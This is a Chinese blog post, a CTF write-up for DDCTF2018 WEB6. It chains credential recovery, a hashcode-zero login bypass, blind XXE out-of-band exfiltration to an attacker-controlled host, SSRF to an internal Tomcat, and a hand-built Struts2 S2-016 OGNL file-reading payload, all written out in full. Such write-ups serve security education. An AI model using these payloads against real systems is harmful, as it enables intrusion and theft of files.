这道题目比较有意思

注释里面有base64之后的账号密码,取得后进去,有很明显的任意文件下载。其实这套程序是开源的。

https://github.com/Eliteams/quick4j

这样就方便很多了,取得了所有的源码后,审计,发现需要我们去到超级管理员权限

继续审计:

 

 

 

用户名已知,所以需要密码的hashcode为0的时候就可以登录进去。

如何让密码不为空的情况下,使得hashcode为0呢?

https://stackoverflow.com/questions/18746394/can-a-non-empty-string-have-a-hashcode-of-zero

讨论中给出了方法。

所以,超管账号用户名为superadmin_hahaha_2333,密码为 f5a5a608

在之前的xmlView方法那里,有明显的Blind XXE。

通过OOB可以注入出数据。

我们需要在vps上准备一个xml,让发送payload,让靶机远程调用xml,本机再监听,形成一个OOB利用链。

123.xml:

<!ENTITY % file SYSTEM "file:///flag/hint.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://xxx.xxx.xxx.xxx:1234/%file;'>">
%int;
%send;

payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip/123.xml">
%remote;]>
<root/>

读取了文本后,得到提示,让我们访问 tomcat_2 的8080端口。

我们修改123.xml为:

<!ENTITY % file SYSTEM "http://tomcat_2:8080/">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://xxx.xxx.xxx.xxx:1234/%file;'>">
%int;
%send;

得知这是strust2的demo,并且让我们访问hello.action,题目本身也有一个提示,告诉我们版本号了,通过版本号推断靶机存在s2-016漏洞,但是一直都无法利用已知payload,估计是怕搅屎棍,所以过滤了一些操作。

我们可以自行构造s2-016的payload:

redirect:${#f=new java.io.File('/flag/flag.txt'),#fs=new java.io.FileInputStream(#f),#ISR=new java.io.InputStreamReader(#fs,'GBK'),#br=new java.io.BufferedReader(#ISR),#lText = #br.readLine(),#ISR.close(),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#lText),#matt.getWriter().flush(),#matt.getWriter().close()}

添加进123.xml:

<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action?redirect%3A%24%7B%23f%3Dnew%20java.io.File%28%27%2fflag%2fflag.txt%27%29%2C%23fs%3Dnew%20java.io.FileInputStream%28%23f%29%2C%23ISR%3Dnew%20java.io.InputStreamReader%28%23fs%2C%27GBK%27%29%2C%23br%3Dnew%20java.io.BufferedReader%28%23ISR%29%2C%23lText%20%3D%20%23br.readLine%28%29%2C%23ISR.close%28%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23lText%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://xxx.xxx.xxx.xxx:1234/%file;'>">
%int;
%send;

 

Get Flag!






本文链接地址: DDCTF2018 WEB6 喝杯Java冷静下 WRITEUP

原创文章,转载请注明: 转载自Lz1y's Blog

发表评论

电子邮件地址不会被公开。 必填项已用*标注